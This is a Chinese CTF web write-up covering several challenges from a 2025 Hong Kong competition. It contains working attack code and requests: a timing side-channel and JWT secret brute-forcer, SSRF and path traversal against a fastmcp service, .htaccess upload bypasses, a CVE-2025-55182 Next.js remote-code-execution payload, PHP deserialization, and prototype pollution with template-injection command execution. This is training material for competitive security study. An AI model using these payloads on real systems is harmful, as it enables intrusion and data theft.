2025香港CTF WEB WRITEUP

admin

185835
文章

141
评论

2026年11月1日22:49:47评论0 views字数 18829阅读62分45秒阅读模式

2025香港CTF Web题解：通过目录扫描发现/login获取guest JWT，访问/admin需伪造secret提权；/www要求Via头，常规无效后利用响应时间差异进行侧信道爆破，借助AI编写基于中位数的统计脚本探测Via头内容。

newrule [solved]

扫目录，发现三个endpoint

这里发包测试一下，发现/login可以登录，使用/提供的账号密码登录会返回一个jwt token

2025香港CTF WEB WRITEUP jwt token解析一下

可以发现role为guest，提供了/admin端点说明要伪造jwt secret来把role变成admin，接着访问/www，提示需要添加via头

不过这里怎么添加都是u need add header Via🥵

2025香港CTF WEB WRITEUP 写个脚本爆破一下这个via，看能出现什么东西，跑了几次发现返回的时长一会长一会短的，甚至有一部分是返回最短的

import requests, time

burp0_url = "http://web-4bfcfdf89d.challenge.xctf.org.cn:80/www"

alpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&"

for i in alpha:

burp0_headers = {

"Via": i

}

start = time.time()

r = requests.get(burp0_url, headers=burp0_headers)

end = time.time()

res = r.text

print(f"Trying {i} - {res} - {end - start} seconds")

得和出题人对脑洞，问 ai，ai 说这是侧信道攻击🥵，于是让 ai 搓了一个脚本

import requests, time, statistics, sys

# ================= 配置 =================

flag = "" # 如果已知第一位是 #，这里可以填 flag = "#" 跳过第一位测试后续

burp_url = "http://web-4bfcfdf89d.challenge.xctf.org.cn:80/www"

alpha_beta = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&"

bug_times = 10 # 增加采样数，使用中位数必须有足够样本

send_times = []

length = 64

def attack(payload, bug_times):

burp_header = {

"Via": payload,

"Authorization": "Bearer "

}

for _ in range(bug_times):

try:

start = time.perf_counter()

requests.get(burp_url, headers=burp_header, timeout=5)

end = time.perf_counter()

send_times.append(end - start)

except:

pass

if not send_times: return 0

return statistics.median(send_times) # 关键修改：使用中位数

print("[*] 启动基于中位数的统计攻击...")

for i in range(len(flag), length):

print(f"n[+] 正在分析第 {i+1} 位...")

char_times = {}

# 1. 采集所有字符的时间

# 这里不使用 verify 逻辑，而是先把所有字符跑一遍，看谁“格格不入”

for char in alpha_beta:

t = attack(flag + char, bug_times)

char_times[char] = t

sys.stdout.write(f"rScan: {char} | Med: {t:.4f}s")

sys.stdout.flush()

# 2. 统计分析

# 获取所有时间的列表

all_values = list(char_times.values())

if not all_values: continue

# 计算整个群体的平均值和标准差

mean_val = statistics.mean(all_values)

stdev_val = statistics.stdev(all_values) if len(all_values) > 1 else 0

# 找出最慢的那个

best_char = max(char_times, key=char_times.get)

best_time = char_times[best_char]

# 计算 Z-Score (偏离了多少个标准差)

# 如果标准差非常小（网络极其稳定），我们需要防除0错误

z_score = (best_time - mean_val) / stdev_val if stdev_val > 0.0001 else 0

print(f"n [分析] 最慢字符: '{best_char}' ({best_time:.4f}s)")

print(f" [统计] 群体均值: {mean_val:.4f}s | 标准差: {stdev_val:.4f} | Z-Score: {z_score:.2f}")

# 3. 动态判决

# 如果 Z-Score 大于 2.0 (表示该数值在正态分布中属于前2.5%的异常值)，通常就是它

# 或者它的时间比平均值高出 0.01s (硬保底)

if z_score > 2.5 or (best_time - mean_val) > 0.01:

flag += best_char

print(f"[SUCCESS] 锁定: {best_char}")

print(f"[PROGRESS] Flag: {flag}")

else:

print(f"[FAIL] 区分度不足 (Z-Score {z_score:.2f} 太低). 建议重试或增加 bug_times.")

# 自动重试逻辑：可以将 bug_times 临时翻倍再测一次 best_char 和 mean_val

break

脚本需要多跑几次，然后调一下间隔，就是重复发包，猜这个字符via，然后找出有明显时间变化的

这里猜了半天由于网络原因会一直跳动，猜了好几次都是 `#WTRaoaMB8Zf` 但怎么伪造都不对

还是 #WTRaoaMB8Zf，你妈，这里直接爆破后几位数字了，因为不算长

爆出来了FNH0

import base64

import hmac

import hashlib

import itertools

import string

token = (

"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."

"eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0."

"zrqQjd3LlDniCwYLwL_Umt48p0FekVObH6T5jOSo7Zg"

)

PREFIX = "#WTRaoaMB8Zf"

alpha_beta = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&"

MAX_LEN = 32

header_payload = ".".join(token.split(".")[:2])

real_sig = token.split(".")[2]

def b64url(data: bytes) -> str:

return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

print("[*] Start brute forcing...")

for length in range(1, MAX_LEN + 1):

print(f"[*] Trying suffix length = {length}")

for suffix in itertools.product(alpha_beta, repeat=length):

suffix = "".join(suffix)

secret = PREFIX + suffix

sig = hmac.new(

secret.encode(),

header_payload.encode(),

hashlib.sha256

).digest()

if b64url(sig) == real_sig:

print("n[+] SECRET FOUND !!!")

print("secret =", secret)

print("suffix =", suffix)

exit(0)

print("[-] Not found")

接着伪造jwt即可

flag{ZsGQxeWESmaP15HTW8AbOX2ke2eG2noJ}

nettool [solved]

本质上就是 JWT 爆破+SSRF 打 fastmcp，非常套娃

首先jwt伪造让服务器报处SECRET_KEY，其原理就是当长度大于 2048 时会报错，这里先用环境变量自带的 secretkey 构造一个超级长的jwt，然后让服务器解析 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc2NjIwNDk0MSwiZGF0YSI6IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSJ9.Q9SOOIxB-03WIRYI_JnGTl_aIXDuXDR8z3YUpeELlf0 然后让服务器报错得到堆栈里的SECRET_KEY

接下来就是伪造admin的jwt，这个很好伪造，伪造完毕后访问 /admin/nettools 发现有一个 fastmcp 服务，那就看看有啥工具可以用

http头

{

"Accept": "application/json, text/event-stream",

"Content-Type": "application/json",

"User-Agent": "NetTool-Client",

"mcp-session-id": "c521fc8e0d404acbb672d9782dd908f7"

}

获取工具

获取提示词

这里注意到 flag 在特定的地方，所以还需要看对话的上下文，看完上下文后得知flag在/..%2f..%2froot%2f1ffflllaaaggg，这之后就是模版注入路径穿越获取到 flag 了，用下面这个

{

"jsonrpc": "2.0",

"method": "resources/templates/list",

"id": 901

}

这里可以读取模板，考虑到模板注入，通过路径穿越来

最后的payload为

{

"jsonrpc": "2.0",

"method": "resources/read",

"params": {

"uri": "base64://tmp/..%2f..%2froot%2f1ffflllaaaggg"

"id": 20

}

直接就能读到 flag

base64解码一下即可

ZmxhZ3tFWWtRNm9KOUJkZWV3S1pmOXh4YWZDQmFtU09uS3N5aX0K

flag{EYkQ6oJ9BdeewKZf9xxafCBamSOnKsyi

BabyUpload [solved]

看看有没有 CVE 吧

PHP/7.4.33

? P 都被ban了

```

POST / HTTP/1.1

Host: web-dcd40a6456.challenge.xctf.org.cn

Content-Length: 190

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqyJp4b2ux5v3dp5w

Connection: keep-alive

------WebKitFormBoundaryqyJp4b2ux5v3dp5w

Content-Disposition: form-data; name="file"; filename="16x9_image_16x9.1"

Content-Type: text/html

------WebKitFormBoundaryqyJp4b2ux5v3dp5w--

```

可以出现一个p，两个就会出问题，在内容那。文件名就不允许出现P

.htaccess 可以，就是apache

2025香港CTF WEB WRITEUP 不允许出现php

能不能解析phtml 用htaccess去转化phtml，问题是现在内容出现<?就直接关了(不能，这个题目好像没法正常解析phtml，配置完之后变成下载文件了，我刚测试过)

内容要换一个

AddType fuzz 一下？

AddHandler application/x-httpd-p hp (内容好想不允许出现 )确实

这样可以，换行可以直接洗

```

POST / HTTP/1.1

Host: web-fa97f8f090.challenge.xctf.org.cn

Content-Length: 254

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqyJp4b2ux5v3dp5w

Connection: keep-alive

------WebKitFormBoundaryqyJp4b2ux5v3dp5w

Content-Disposition: form-data; name="file"; filename=".htaccess"

Content-Type: text/plain

AddHandler application/x-httpd-p

hp .foo

hp_value short_open_tag 1

------WebKitFormBoundaryqyJp4b2ux5v3dp5w--

```

然后用js来执行应该

http://web-fa97f8f090.challenge.xctf.org.cn/test/check.html

盲注一下，脚本大概是这样，先让我跑一下，暂时不要跑

import requests

import string

dic = string.ascii_letters + string.digits

def upload_loop(flag):

url = "http://web-37d33b7543.challenge.xctf.org.cn:80/"

headers = {"Cache-Control": "max-age=0", "Origin": "http://web-dcd40a6456.challenge.xctf.org.cn", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryMXplRIfXMxuqJMCg", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://web-dcd40a6456.challenge.xctf.org.cn/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7,en-US;q=0.6", "Connection": "close"}

data = "------WebKitFormBoundaryMXplRIfXMxuqJMCgrnContent-Disposition: form-data; name="file"; filename=".htaccess"rnContent-Type: image/txtrnrn<If "file('/flag') =~ /^flag{"+flag+"/">rn ErrorDocument 404 "file_works"rn</If>n------WebKitFormBoundaryMXplRIfXMxuqJMCg--rn"

r = requests.post(url, headers=headers, data=data)

if __name__ == "__main__":

flag = ""

for i in range(1,40):

for j in dic:

upload_loop(flag+j)

r = requests.get("http://web-37d33b7543.challenge.xctf.org.cn/test/2.html",timeout=5)

if "file_works" in r.text:

flag += j

print(flag)

break

已经跑出来10多位了，总共32位

flag{VihbmtaCUN2mKk1578kDhkTBWi0EuGPy}

react [solved]

CVE-2025-55182

GET / HTTP/1.1

Host: web-96f000a50e.challenge.xctf.org.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0

Next-Action: x

X-Nextjs-Request-Id: b5dce965

Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

Content-Length: 698

------WebKitFormBoundaryx8jO2oVc6SWP3Sad

Content-Disposition: form-data; name="0"

{"then":"$1:proto:then","status":"resolved_model","reason":-1,"value":"{"then":"$B1337"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat+/flag').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: NEXT_REDIRECT;push;/login?a=${res};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad

Content-Disposition: form-data; name="1"

"$@0"

------WebKitFormBoundaryx8jO2oVc6SWP3Sad

Content-Disposition: form-data; name="2"

[]

------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

flag{nQypGqrpvMk1GIND7P4aVHiCSUk59veW}

r [solved]

http://web-5e7a51c2f4.challenge.xctf.org.cn:80/

PHP 的引用机制

<?php

class RequestHandler {

public $processor;

public $action;

}

$b = new RequestHandler();

$b->action = [&$b->processor, "execute"];

$a = new RequestHandler();

$a->action = [$b, "__construct"];

$payload = [$a, $b];

echo urlencode(serialize($payload));

eazy-lua [solved]

沙箱

ezjs [solved]

圆形链污染admin

POST /login HTTP/1.1

Host: web-55d02d7dda.challenge.xctf.org.cn

Content-Length: 30

Cache-Control: max-age=0

Upgrae-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36

Origin: http://web-55d02d7dda.challenge.xctf.org.cn

Content-Type: application/json

If-None-Match: W/"b-40OiUdsIrIl8wd6/cp3plVGvGEM"

Connection: keep-alive

{"__proto__": {"admin": true}}

然后到/render端点构造exp拿到flag

POST /render HTTP/1.1

Host: web-55d02d7dda.challenge.xctf.org.cn

Content-Length: 119

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36

Origin: http://web-55d02d7dda.challenge.xctf.org.cn

Cookie: connect.sid=s%3Al_vC-dISL9LDyNGE26R8MUaErDOzXvsK.z%2FymcT4vCt8dFqCE827UQXXfCGCC6K7SEHQAqqygwEM

Content-Type: application/json

If-None-Match: W/"b-40OiUdsIrIl8wd6/cp3plVGvGEM"

Connection: keep-alive

{

"word": "#{function(){return process.mainModule['re'+'quire']('child_process')['exe'+'cSync']('cat /flag')}()}"

}

rendeLFI写shell

me[solved]

insph

原文始发于微信公众号（Gh0xE9）：2025香港CTF WEB WRITEUP

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

2025香港CTF WEB WRITEUP

newrule [solved]

nettool [solved]

BabyUpload [solved]

react [solved]

r [solved]

eazy-lua [solved]

ezjs [solved]

me[solved]

insph

第十届强网杯全国网络安全挑战赛初赛Web&Reverse WP（二）

第九届强网拟态防御crypto和附件链接

第十届强网杯全国网络安全挑战赛初赛PWN WP（一）

第十届强网杯全国网络安全挑战赛初赛Misc&Crypto WP（三）

第九届强网拟态防御WEB(1题)和MISC

ZeroG-零重力 CTF 2026（WEB）

好靶场杯第一届综合赛-古法赛道-流量分析-FTP流量分析

web题目练习1

2026龙信杯-手机取证

【CTF】ciscn_2019_n_1

发表评论

在线咨询

微信